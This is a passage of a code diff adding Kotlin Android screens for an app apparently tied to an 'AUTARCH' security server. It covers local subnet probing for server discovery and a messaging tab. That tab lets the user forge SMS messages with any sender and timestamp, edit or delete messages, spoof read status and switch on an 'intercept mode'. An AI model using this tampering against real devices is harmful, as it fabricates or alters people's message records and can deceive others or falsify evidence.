||||
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
|
||||
}
|
||||
setStatusDot(discoveryStatusDot, true)
|
||||
discoveryStatusText.text = "Found: ${server.hostname}"
|
||||
discoveryMethodText.text = "via $method"
|
||||
appendLog("Discovered AUTARCH via $method")
|
||||
|
||||
if (server.ip.isNotEmpty() && server.port > 0) {
|
||||
PrefsManager.setServerIp(requireContext(), server.ip)
|
||||
PrefsManager.setWebPort(requireContext(), server.port)
|
||||
appendLog("Auto-configured: ${server.ip}:${server.port}")
|
||||
// Update PrivilegeManager with new server info
|
||||
PrivilegeManager.setServerConnection(server.ip, server.port)
|
||||
refreshServerStatus()
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {
|
||||
appendLog("Scanning: ${method.name}...")
|
||||
}
|
||||
|
||||
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||
if (discoveryManager?.getDiscoveredServers()?.isEmpty() == true) {
|
||||
appendLog("No mDNS/BT response — trying HTTP probe...")
|
||||
probeLocalSubnet()
|
||||
}
|
||||
btnDiscover.isEnabled = true
|
||||
btnDiscover.text = "SCAN"
|
||||
}
|
||||
|
||||
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {
|
||||
appendLog("${method.name}: $error")
|
||||
}
|
||||
}
|
||||
|
||||
btnDiscover.setOnClickListener {
|
||||
startDiscovery()
|
||||
}
|
||||
}
|
||||
|
||||
private fun startDiscovery() {
|
||||
setStatusDot(discoveryStatusDot, false)
|
||||
discoveryStatusText.text = "Scanning network..."
|
||||
discoveryMethodText.text = "mDNS / Wi-Fi Direct / Bluetooth / HTTP"
|
||||
btnDiscover.isEnabled = false
|
||||
btnDiscover.text = "SCANNING..."
|
||||
discoveryManager?.startDiscovery()
|
||||
}
|
||||
|
||||
private fun probeLocalSubnet() {
|
||||
Thread {
|
||||
val port = PrefsManager.getWebPort(requireContext())
|
||||
|
||||
val routeResult = ShellExecutor.execute("ip route show default 2>/dev/null")
|
||||
val gateway = routeResult.stdout.split(" ").let { parts ->
|
||||
val idx = parts.indexOf("via")
|
||||
if (idx >= 0 && idx + 1 < parts.size) parts[idx + 1] else null
|
||||
}
|
||||
|
||||
if (gateway == null) {
|
||||
handler.post {
|
||||
discoveryStatusText.text = "No AUTARCH server found"
|
||||
discoveryMethodText.text = "Set server IP in Settings tab"
|
||||
}
|
||||
return@Thread
|
||||
}
|
||||
|
||||
val base = gateway.substringBeforeLast(".") + "."
|
||||
appendLogOnUi("Probing ${base}x on port $port...")
|
||||
|
||||
val candidates = mutableListOf<String>()
|
||||
candidates.add(gateway)
|
||||
for (i in 1..30) {
|
||||
val ip = "$base$i"
|
||||
if (ip != gateway) candidates.add(ip)
|
||||
}
|
||||
candidates.addAll(listOf("${base}100", "${base}200", "${base}254"))
|
||||
|
||||
val savedIp = PrefsManager.getServerIp(requireContext())
|
||||
if (savedIp.isNotEmpty() && !savedIp.startsWith("10.1.0.")) {
|
||||
candidates.add(0, savedIp)
|
||||
}
|
||||
|
||||
for (ip in candidates) {
|
||||
if (probeServer(ip, port)) {
|
||||
handler.post {
|
||||
PrefsManager.setServerIp(requireContext(), ip)
|
||||
setStatusDot(discoveryStatusDot, true)
|
||||
discoveryStatusText.text = "Found: AUTARCH"
|
||||
discoveryMethodText.text = "via HTTP probe ($ip)"
|
||||
appendLog("Found AUTARCH at $ip:$port (HTTP)")
|
||||
PrivilegeManager.setServerConnection(ip, port)
|
||||
refreshServerStatus()
|
||||
}
|
||||
return@Thread
|
||||
}
|
||||
}
|
||||
|
||||
handler.post {
|
||||
discoveryStatusText.text = "No AUTARCH server found"
|
||||
discoveryMethodText.text = "Set server IP in Settings tab"
|
||||
appendLog("HTTP probe: no server found on $base* :$port")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun appendLogOnUi(msg: String) {
|
||||
handler.post { appendLog(msg) }
|
||||
}
|
||||
|
||||
override fun onDestroyView() {
|
||||
super.onDestroyView()
|
||||
discoveryManager?.stopDiscovery()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.content.Intent
|
||||
import android.net.Uri
|
||||
import android.os.Bundle
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
|
||||
class LinksFragment : Fragment() {
|
||||
|
||||
private data class LinkItem(
|
||||
val cardId: Int,
|
||||
val path: String
|
||||
)
|
||||
|
||||
private val links = listOf(
|
||||
LinkItem(R.id.card_dashboard, "/dashboard"),
|
||||
LinkItem(R.id.card_wireguard, "/wireguard"),
|
||||
LinkItem(R.id.card_shield, "/android-protect"),
|
||||
LinkItem(R.id.card_hardware, "/hardware"),
|
||||
LinkItem(R.id.card_wireshark, "/wireshark"),
|
||||
LinkItem(R.id.card_osint, "/osint"),
|
||||
LinkItem(R.id.card_defense, "/defense"),
|
||||
LinkItem(R.id.card_offense, "/offense"),
|
||||
LinkItem(R.id.card_settings, "/settings")
|
||||
)
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_links, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
val baseUrl = PrefsManager.getAutarchBaseUrl(requireContext())
|
||||
|
||||
// Update server URL label
|
||||
view.findViewById<TextView>(R.id.server_url_label).text = "Server: $baseUrl"
|
||||
|
||||
// Set up click listeners for all link cards
|
||||
for (link in links) {
|
||||
view.findViewById<View>(link.cardId)?.setOnClickListener {
|
||||
openUrl("$baseUrl${link.path}")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun openUrl(url: String) {
|
||||
val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
|
||||
startActivity(intent)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,761 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.app.DatePickerDialog
|
||||
import android.app.TimePickerDialog
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.CheckBox
|
||||
import android.widget.PopupMenu
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.appcompat.app.AlertDialog
|
||||
import androidx.fragment.app.Fragment
|
||||
import androidx.recyclerview.widget.LinearLayoutManager
|
||||
import androidx.recyclerview.widget.RecyclerView
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.messaging.ConversationAdapter
|
||||
import com.darkhal.archon.messaging.MessageAdapter
|
||||
import com.darkhal.archon.messaging.MessagingModule
|
||||
import com.darkhal.archon.messaging.MessagingRepository
|
||||
import com.darkhal.archon.messaging.ShizukuManager
|
||||
import com.darkhal.archon.module.ModuleManager
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import com.google.android.material.card.MaterialCardView
|
||||
import com.google.android.material.floatingactionbutton.FloatingActionButton
|
||||
import com.google.android.material.textfield.TextInputEditText
|
||||
import java.text.SimpleDateFormat
|
||||
import java.util.Calendar
|
||||
import java.util.Date
|
||||
import java.util.Locale
|
||||
|
||||
/**
|
||||
* SMS/RCS Messaging tab — full messaging UI with conversation list and thread view.
|
||||
*
|
||||
* Two views:
|
||||
* 1. Conversation list — shows all threads with contact, snippet, date, unread count
|
||||
* 2. Message thread — shows messages as chat bubbles with input bar
|
||||
*
|
||||
* Features:
|
||||
* - Search across all messages
|
||||
* - Set/restore default SMS app
|
||||
* - Export conversations (XML/CSV)
|
||||
* - Forge messages with arbitrary sender/timestamp
|
||||
* - Edit/delete messages via long-press context menu
|
||||
* - Shizuku status indicator
|
||||
*/
|
||||
class MessagingFragment : Fragment() {
|
||||
|
||||
// Views — Conversation list
|
||||
private lateinit var conversationListContainer: View
|
||||
private lateinit var recyclerConversations: RecyclerView
|
||||
private lateinit var emptyState: TextView
|
||||
private lateinit var shizukuDot: View
|
||||
private lateinit var btnSearch: MaterialButton
|
||||
private lateinit var btnDefaultSms: MaterialButton
|
||||
private lateinit var btnTools: MaterialButton
|
||||
private lateinit var searchBar: View
|
||||
private lateinit var inputSearch: TextInputEditText
|
||||
private lateinit var btnSearchGo: MaterialButton
|
||||
private lateinit var btnSearchClose: MaterialButton
|
||||
private lateinit var fabNewMessage: FloatingActionButton
|
||||
|
||||
// Views — Thread
|
||||
private lateinit var threadViewContainer: View
|
||||
private lateinit var recyclerMessages: RecyclerView
|
||||
private lateinit var threadContactName: TextView
|
||||
private lateinit var threadAddress: TextView
|
||||
private lateinit var btnBack: MaterialButton
|
||||
private lateinit var btnThreadExport: MaterialButton
|
||||
private lateinit var inputMessage: TextInputEditText
|
||||
private lateinit var btnSend: MaterialButton
|
||||
|
||||
// Views — Output log
|
||||
private lateinit var outputLogCard: MaterialCardView
|
||||
private lateinit var outputLog: TextView
|
||||
private lateinit var btnCloseLog: MaterialButton
|
||||
|
||||
// Data
|
||||
private lateinit var repo: MessagingRepository
|
||||
private lateinit var shizuku: ShizukuManager
|
||||
private lateinit var conversationAdapter: ConversationAdapter
|
||||
private lateinit var messageAdapter: MessageAdapter
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
// State
|
||||
private var currentThreadId: Long = -1
|
||||
private var currentAddress: String = ""
|
||||
private var isDefaultSms: Boolean = false
|
||||
|
||||
// Forge dialog state
|
||||
private var forgeCalendar: Calendar = Calendar.getInstance()
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_messaging, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
repo = MessagingRepository(requireContext())
|
||||
shizuku = ShizukuManager(requireContext())
|
||||
|
||||
bindViews(view)
|
||||
setupConversationList()
|
||||
setupThreadView()
|
||||
setupSearch()
|
||||
setupToolbar()
|
||||
setupOutputLog()
|
||||
|
||||
// Load conversations
|
||||
loadConversations()
|
||||
|
||||
// Check Shizuku status
|
||||
refreshShizukuStatus()
|
||||
}
|
||||
|
||||
// ── View binding ───────────────────────────────────────────────
|
||||
|
||||
private fun bindViews(view: View) {
|
||||
// Conversation list
|
||||
conversationListContainer = view.findViewById(R.id.conversation_list_container)
|
||||
recyclerConversations = view.findViewById(R.id.recycler_conversations)
|
||||
emptyState = view.findViewById(R.id.empty_state)
|
||||
shizukuDot = view.findViewById(R.id.shizuku_status_dot)
|
||||
btnSearch = view.findViewById(R.id.btn_search)
|
||||
btnDefaultSms = view.findViewById(R.id.btn_default_sms)
|
||||
btnTools = view.findViewById(R.id.btn_tools)
|
||||
searchBar = view.findViewById(R.id.search_bar)
|
||||
inputSearch = view.findViewById(R.id.input_search)
|
||||
btnSearchGo = view.findViewById(R.id.btn_search_go)
|
||||
btnSearchClose = view.findViewById(R.id.btn_search_close)
|
||||
fabNewMessage = view.findViewById(R.id.fab_new_message)
|
||||
|
||||
// Thread view
|
||||
threadViewContainer = view.findViewById(R.id.thread_view_container)
|
||||
recyclerMessages = view.findViewById(R.id.recycler_messages)
|
||||
threadContactName = view.findViewById(R.id.thread_contact_name)
|
||||
threadAddress = view.findViewById(R.id.thread_address)
|
||||
btnBack = view.findViewById(R.id.btn_back)
|
||||
btnThreadExport = view.findViewById(R.id.btn_thread_export)
|
||||
inputMessage = view.findViewById(R.id.input_message)
|
||||
btnSend = view.findViewById(R.id.btn_send)
|
||||
|
||||
// Output log
|
||||
outputLogCard = view.findViewById(R.id.output_log_card)
|
||||
outputLog = view.findViewById(R.id.messaging_output_log)
|
||||
btnCloseLog = view.findViewById(R.id.btn_close_log)
|
||||
}
|
||||
|
||||
// ── Conversation list ──────────────────────────────────────────
|
||||
|
||||
private fun setupConversationList() {
|
||||
conversationAdapter = ConversationAdapter(mutableListOf()) { conversation ->
|
||||
openThread(conversation)
|
||||
}
|
||||
|
||||
recyclerConversations.apply {
|
||||
layoutManager = LinearLayoutManager(requireContext())
|
||||
adapter = conversationAdapter
|
||||
}
|
||||
|
||||
fabNewMessage.setOnClickListener {
|
||||
showForgeMessageDialog()
|
||||
}
|
||||
}
|
||||
|
||||
private fun loadConversations() {
|
||||
Thread {
|
||||
val conversations = repo.getConversations()
|
||||
handler.post {
|
||||
conversationAdapter.updateData(conversations)
|
||||
if (conversations.isEmpty()) {
|
||||
emptyState.visibility = View.VISIBLE
|
||||
recyclerConversations.visibility = View.GONE
|
||||
} else {
|
||||
emptyState.visibility = View.GONE
|
||||
recyclerConversations.visibility = View.VISIBLE
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Thread view ────────────────────────────────────────────────
|
||||
|
||||
private fun setupThreadView() {
|
||||
messageAdapter = MessageAdapter(mutableListOf()) { message ->
|
||||
showMessageContextMenu(message)
|
||||
}
|
||||
|
||||
recyclerMessages.apply {
|
||||
layoutManager = LinearLayoutManager(requireContext()).apply {
|
||||
stackFromEnd = true
|
||||
}
|
||||
adapter = messageAdapter
|
||||
}
|
||||
|
||||
btnBack.setOnClickListener {
|
||||
closeThread()
|
||||
}
|
||||
|
||||
btnSend.setOnClickListener {
|
||||
sendMessage()
|
||||
}
|
||||
|
||||
btnThreadExport.setOnClickListener {
|
||||
exportCurrentThread()
|
||||
}
|
||||
}
|
||||
|
||||
private fun openThread(conversation: MessagingRepository.Conversation) {
|
||||
currentThreadId = conversation.threadId
|
||||
currentAddress = conversation.address
|
||||
|
||||
val displayName = conversation.contactName ?: conversation.address
|
||||
threadContactName.text = displayName
|
||||
threadAddress.text = if (conversation.contactName != null) conversation.address else ""
|
||||
|
||||
// Mark as read
|
||||
Thread {
|
||||
repo.markAsRead(conversation.threadId)
|
||||
}.start()
|
||||
|
||||
// Load messages
|
||||
loadMessages(conversation.threadId)
|
||||
|
||||
// Switch views
|
||||
conversationListContainer.visibility = View.GONE
|
||||
threadViewContainer.visibility = View.VISIBLE
|
||||
}
|
||||
|
||||
private fun closeThread() {
|
||||
currentThreadId = -1
|
||||
currentAddress = ""
|
||||
|
||||
threadViewContainer.visibility = View.GONE
|
||||
conversationListContainer.visibility = View.VISIBLE
|
||||
|
||||
// Refresh conversations to update unread counts
|
||||
loadConversations()
|
||||
}
|
||||
|
||||
private fun loadMessages(threadId: Long) {
|
||||
Thread {
|
||||
val messages = repo.getMessages(threadId)
|
||||
handler.post {
|
||||
messageAdapter.updateData(messages)
|
||||
// Scroll to bottom
|
||||
if (messages.isNotEmpty()) {
|
||||
recyclerMessages.scrollToPosition(messages.size - 1)
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun sendMessage() {
|
||||
val body = inputMessage.text?.toString()?.trim() ?: return
|
||||
if (body.isEmpty()) return
|
||||
|
||||
inputMessage.setText("")
|
||||
|
||||
Thread {
|
||||
val success = repo.sendSms(currentAddress, body)
|
||||
handler.post {
|
||||
if (success) {
|
||||
// Reload messages to show the sent message
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
// If we can't send (not default SMS), try forge as sent
|
||||
val id = repo.forgeMessage(
|
||||
currentAddress, body,
|
||||
MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
System.currentTimeMillis(), read = true
|
||||
)
|
||||
if (id >= 0) {
|
||||
loadMessages(currentThreadId)
|
||||
appendLog("Message inserted (forge mode — not actually sent)")
|
||||
} else {
|
||||
appendLog("Failed to send/insert — need default SMS app role")
|
||||
Toast.makeText(requireContext(),
|
||||
"Cannot send — set as default SMS app first",
|
||||
Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun exportCurrentThread() {
|
||||
if (currentThreadId < 0) return
|
||||
|
||||
Thread {
|
||||
val result = ModuleManager.executeAction("messaging", "export_thread:$currentThreadId", requireContext())
|
||||
handler.post {
|
||||
appendLog(result.output)
|
||||
for (detail in result.details) {
|
||||
appendLog(" $detail")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Search ─────────────────────────────────────────────────────
|
||||
|
||||
private fun setupSearch() {
|
||||
btnSearch.setOnClickListener {
|
||||
if (searchBar.visibility == View.VISIBLE) {
|
||||
searchBar.visibility = View.GONE
|
||||
} else {
|
||||
searchBar.visibility = View.VISIBLE
|
||||
inputSearch.requestFocus()
|
||||
}
|
||||
}
|
||||
|
||||
btnSearchGo.setOnClickListener {
|
||||
val query = inputSearch.text?.toString()?.trim() ?: ""
|
||||
if (query.isNotEmpty()) {
|
||||
performSearch(query)
|
||||
}
|
||||
}
|
||||
|
||||
btnSearchClose.setOnClickListener {
|
||||
searchBar.visibility = View.GONE
|
||||
inputSearch.setText("")
|
||||
loadConversations()
|
||||
}
|
||||
}
|
||||
|
||||
private fun performSearch(query: String) {
|
||||
Thread {
|
||||
val results = repo.searchMessages(query)
|
||||
handler.post {
|
||||
if (results.isEmpty()) {
|
||||
appendLog("No results for '$query'")
|
||||
showOutputLog()
|
||||
} else {
|
||||
// Group results by thread and show as conversations
|
||||
val threadGroups = results.groupBy { it.threadId }
|
||||
val conversations = threadGroups.map { (threadId, msgs) ->
|
||||
val first = msgs.first()
|
||||
MessagingRepository.Conversation(
|
||||
threadId = threadId,
|
||||
address = first.address,
|
||||
snippet = "[${msgs.size} matches] ${first.body.take(40)}",
|
||||
date = first.date,
|
||||
messageCount = msgs.size,
|
||||
unreadCount = 0,
|
||||
contactName = first.contactName
|
||||
)
|
||||
}.sortedByDescending { it.date }
|
||||
|
||||
conversationAdapter.updateData(conversations)
|
||||
emptyState.visibility = View.GONE
|
||||
recyclerConversations.visibility = View.VISIBLE
|
||||
appendLog("Found ${results.size} messages in ${conversations.size} threads")
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Toolbar actions ────────────────────────────────────────────
|
||||
|
||||
private fun setupToolbar() {
|
||||
btnDefaultSms.setOnClickListener {
|
||||
toggleDefaultSms()
|
||||
}
|
||||
|
||||
btnTools.setOnClickListener { anchor ->
|
||||
showToolsMenu(anchor)
|
||||
}
|
||||
}
|
||||
|
||||
private fun toggleDefaultSms() {
|
||||
Thread {
|
||||
if (!isDefaultSms) {
|
||||
val result = ModuleManager.executeAction("messaging", "become_default", requireContext())
|
||||
handler.post {
|
||||
if (result.success) {
|
||||
isDefaultSms = true
|
||||
btnDefaultSms.text = getString(R.string.messaging_restore_default)
|
||||
appendLog("Archon is now default SMS app")
|
||||
} else {
|
||||
appendLog("Failed: ${result.output}")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
} else {
|
||||
val result = ModuleManager.executeAction("messaging", "restore_default", requireContext())
|
||||
handler.post {
|
||||
if (result.success) {
|
||||
isDefaultSms = false
|
||||
btnDefaultSms.text = getString(R.string.messaging_become_default)
|
||||
appendLog("Default SMS app restored")
|
||||
} else {
|
||||
appendLog("Failed: ${result.output}")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun showToolsMenu(anchor: View) {
|
||||
val popup = PopupMenu(requireContext(), anchor)
|
||||
popup.menu.add(0, 1, 0, "Export All Messages")
|
||||
popup.menu.add(0, 2, 1, "Forge Message")
|
||||
popup.menu.add(0, 3, 2, "Forge Conversation")
|
||||
popup.menu.add(0, 4, 3, "RCS Status")
|
||||
popup.menu.add(0, 5, 4, "Shizuku Status")
|
||||
popup.menu.add(0, 6, 5, "Intercept Mode ON")
|
||||
popup.menu.add(0, 7, 6, "Intercept Mode OFF")
|
||||
|
||||
popup.setOnMenuItemClickListener { item ->
|
||||
when (item.itemId) {
|
||||
1 -> executeModuleAction("export_all")
|
||||
2 -> showForgeMessageDialog()
|
||||
3 -> showForgeConversationDialog()
|
||||
4 -> executeModuleAction("rcs_status")
|
||||
5 -> executeModuleAction("shizuku_status")
|
||||
6 -> executeModuleAction("intercept_mode:on")
|
||||
7 -> executeModuleAction("intercept_mode:off")
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
popup.show()
|
||||
}
|
||||
|
||||
private fun executeModuleAction(actionId: String) {
|
||||
appendLog("Running: $actionId...")
|
||||
showOutputLog()
|
||||
|
||||
Thread {
|
||||
val result = ModuleManager.executeAction("messaging", actionId, requireContext())
|
||||
handler.post {
|
||||
appendLog(result.output)
|
||||
for (detail in result.details.take(20)) {
|
||||
appendLog(" $detail")
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Shizuku status ─────────────────────────────────────────────
|
||||
|
||||
private fun refreshShizukuStatus() {
|
||||
Thread {
|
||||
val ready = shizuku.isReady()
|
||||
handler.post {
|
||||
setStatusDot(shizukuDot, ready)
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun setStatusDot(dot: View, online: Boolean) {
|
||||
val drawable = GradientDrawable()
|
||||
drawable.shape = GradientDrawable.OVAL
|
||||
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||
dot.background = drawable
|
||||
}
|
||||
|
||||
// ── Message context menu (long-press) ──────────────────────────
|
||||
|
||||
private fun showMessageContextMenu(message: MessagingRepository.Message) {
|
||||
val items = arrayOf(
|
||||
"Copy",
|
||||
"Edit Body",
|
||||
"Delete",
|
||||
"Change Timestamp",
|
||||
"Spoof Read Status",
|
||||
"Forward (Forge)"
|
||||
)
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Message Options")
|
||||
.setItems(items) { _, which ->
|
||||
when (which) {
|
||||
0 -> copyMessage(message)
|
||||
1 -> editMessageBody(message)
|
||||
2 -> deleteMessage(message)
|
||||
3 -> changeTimestamp(message)
|
||||
4 -> spoofReadStatus(message)
|
||||
5 -> forwardAsForge(message)
|
||||
}
|
||||
}
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun copyMessage(message: MessagingRepository.Message) {
|
||||
val clipboard = requireContext().getSystemService(android.content.ClipboardManager::class.java)
|
||||
val clip = android.content.ClipData.newPlainText("sms", message.body)
|
||||
clipboard?.setPrimaryClip(clip)
|
||||
Toast.makeText(requireContext(), "Copied to clipboard", Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
|
||||
private fun editMessageBody(message: MessagingRepository.Message) {
|
||||
val input = TextInputEditText(requireContext()).apply {
|
||||
setText(message.body)
|
||||
setTextColor(resources.getColor(R.color.text_primary, null))
|
||||
setBackgroundColor(resources.getColor(R.color.surface_dark, null))
|
||||
setPadding(32, 24, 32, 24)
|
||||
}
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Edit Message Body")
|
||||
.setView(input)
|
||||
.setPositiveButton("Save") { _, _ ->
|
||||
val newBody = input.text?.toString() ?: return@setPositiveButton
|
||||
Thread {
|
||||
val success = repo.updateMessage(message.id, body = newBody, type = null, date = null, read = null)
|
||||
handler.post {
|
||||
if (success) {
|
||||
appendLog("Updated message ${message.id}")
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
appendLog("Failed to update — need default SMS app role")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
.setNegativeButton("Cancel", null)
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun deleteMessage(message: MessagingRepository.Message) {
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Delete Message")
|
||||
.setMessage("Delete this message permanently?\n\n\"${message.body.take(60)}\"")
|
||||
.setPositiveButton("Delete") { _, _ ->
|
||||
Thread {
|
||||
val success = repo.deleteMessage(message.id)
|
||||
handler.post {
|
||||
if (success) {
|
||||
appendLog("Deleted message ${message.id}")
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
appendLog("Failed to delete — need default SMS app role")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
.setNegativeButton("Cancel", null)
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun changeTimestamp(message: MessagingRepository.Message) {
|
||||
val cal = Calendar.getInstance()
|
||||
cal.timeInMillis = message.date
|
||||
|
||||
DatePickerDialog(requireContext(), { _, year, month, day ->
|
||||
TimePickerDialog(requireContext(), { _, hour, minute ->
|
||||
cal.set(year, month, day, hour, minute)
|
||||
val newDate = cal.timeInMillis
|
||||
|
||||
Thread {
|
||||
val success = repo.updateMessage(message.id, body = null, type = null, date = newDate, read = null)
|
||||
handler.post {
|
||||
if (success) {
|
||||
val fmt = SimpleDateFormat("yyyy-MM-dd HH:mm", Locale.US)
|
||||
appendLog("Changed timestamp to ${fmt.format(Date(newDate))}")
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
appendLog("Failed to change timestamp")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}, cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), true).show()
|
||||
}, cal.get(Calendar.YEAR), cal.get(Calendar.MONTH), cal.get(Calendar.DAY_OF_MONTH)).show()
|
||||
}
|
||||
|
||||
private fun spoofReadStatus(message: MessagingRepository.Message) {
|
||||
val items = arrayOf("Mark as Read", "Mark as Unread")
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Read Status")
|
||||
.setItems(items) { _, which ->
|
||||
val newRead = which == 0
|
||||
Thread {
|
||||
val success = repo.updateMessage(message.id, body = null, type = null, date = null, read = newRead)
|
||||
handler.post {
|
||||
if (success) {
|
||||
appendLog("Set read=${newRead} for message ${message.id}")
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
appendLog("Failed to update read status")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun forwardAsForge(message: MessagingRepository.Message) {
|
||||
// Pre-fill the forge dialog with this message's body
|
||||
showForgeMessageDialog(prefillBody = message.body)
|
||||
}
|
||||
|
||||
// ── Forge dialogs ──────────────────────────────────────────────
|
||||
|
||||
private fun showForgeMessageDialog(prefillBody: String? = null) {
|
||||
val dialogView = LayoutInflater.from(requireContext())
|
||||
.inflate(R.layout.dialog_forge_message, null)
|
||||
|
||||
val forgeAddress = dialogView.findViewById<TextInputEditText>(R.id.forge_address)
|
||||
val forgeContactName = dialogView.findViewById<TextInputEditText>(R.id.forge_contact_name)
|
||||
val forgeBody = dialogView.findViewById<TextInputEditText>(R.id.forge_body)
|
||||
val forgeTypeReceived = dialogView.findViewById<MaterialButton>(R.id.forge_type_received)
|
||||
val forgeTypeSent = dialogView.findViewById<MaterialButton>(R.id.forge_type_sent)
|
||||
val forgePickDate = dialogView.findViewById<MaterialButton>(R.id.forge_pick_date)
|
||||
val forgePickTime = dialogView.findViewById<MaterialButton>(R.id.forge_pick_time)
|
||||
val forgeReadStatus = dialogView.findViewById<CheckBox>(R.id.forge_read_status)
|
||||
|
||||
prefillBody?.let { forgeBody.setText(it) }
|
||||
|
||||
// If we're in a thread, prefill the address
|
||||
if (currentAddress.isNotEmpty()) {
|
||||
forgeAddress.setText(currentAddress)
|
||||
}
|
||||
|
||||
// Direction toggle
|
||||
var selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED
|
||||
forgeTypeReceived.setOnClickListener {
|
||||
selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED
|
||||
forgeTypeReceived.tag = "selected"
|
||||
forgeTypeSent.tag = null
|
||||
}
|
||||
forgeTypeSent.setOnClickListener {
|
||||
selectedType = MessagingRepository.MESSAGE_TYPE_SENT
|
||||
forgeTypeSent.tag = "selected"
|
||||
forgeTypeReceived.tag = null
|
||||
}
|
||||
|
||||
// Date/time pickers
|
||||
forgeCalendar = Calendar.getInstance()
|
||||
val dateFormat = SimpleDateFormat("MMM dd, yyyy", Locale.US)
|
||||
val timeFormat = SimpleDateFormat("HH:mm", Locale.US)
|
||||
forgePickDate.text = dateFormat.format(forgeCalendar.time)
|
||||
forgePickTime.text = timeFormat.format(forgeCalendar.time)
|
||||
|
||||
forgePickDate.setOnClickListener {
|
||||
DatePickerDialog(requireContext(), { _, year, month, day ->
|
||||
forgeCalendar.set(Calendar.YEAR, year)
|
||||
forgeCalendar.set(Calendar.MONTH, month)
|
||||
forgeCalendar.set(Calendar.DAY_OF_MONTH, day)
|
||||
forgePickDate.text = dateFormat.format(forgeCalendar.time)
|
||||
}, forgeCalendar.get(Calendar.YEAR), forgeCalendar.get(Calendar.MONTH),
|
||||
forgeCalendar.get(Calendar.DAY_OF_MONTH)).show()
|
||||
}
|
||||
|
||||
forgePickTime.setOnClickListener {
|
||||
TimePickerDialog(requireContext(), { _, hour, minute ->
|
||||
forgeCalendar.set(Calendar.HOUR_OF_DAY, hour)
|
||||
forgeCalendar.set(Calendar.MINUTE, minute)
|
||||
forgePickTime.text = timeFormat.format(forgeCalendar.time)
|
||||
}, forgeCalendar.get(Calendar.HOUR_OF_DAY), forgeCalendar.get(Calendar.MINUTE), true).show()
|
||||
}
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setView(dialogView)
|
||||
